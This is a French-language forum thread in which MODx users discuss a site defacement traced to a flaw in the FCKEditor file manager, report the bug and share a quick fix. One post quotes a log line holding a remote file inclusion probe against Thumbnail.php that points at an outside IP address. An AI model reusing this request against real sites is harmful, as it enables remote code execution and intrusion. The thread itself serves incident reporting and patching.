[Résolu] Faille dans FCK Editor (originellement : site défacé)

Alors que je découvre à peine MODx, que mon site ne comportait pas grand chose (pour ne pas dire rien), il vient d’être défacé !?
Je pense que les hackers ont exploité la faille reportée ici : http://milw0rm.com/exploits/2706

Merci Sebiseb, j’ai rentré ça dans FlySpray je te tiens au courant du fix pour ce problème :
http://modxcms.com/bugs/task/647

C’est jamais agréable comme situation.
J’espère qu’un fix sera rapidement posté.

:-)

Jeff ou Timon vont sûrement jeter un oeil là dessus... ça confirme quand même que TinyMCE est un meilleur choix comme éditeur par défaut

Yep puisque le bug semble concerner le gestionnaire de ressources de FCKE.

;-)

Re

Merci de regarder : http://modxcms.com/forums/index.php/topic,8604.0/topicseen.html pour une solution rapide

J’ai testé cela rédirige bien

Merci aour d’avoir relayé l’info.

Merci !

Ca c’est du rapide... bug rapporté et 2h après, un fix

Il semblerait qu’on ait essayé sur un de mes sites de tester la faille

J’ai trouvé ça dans les logs d’hier soir

http://..../manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://213.133.108.122/alex.gif?

Tu avais le patch ou alors register_globals OFF ?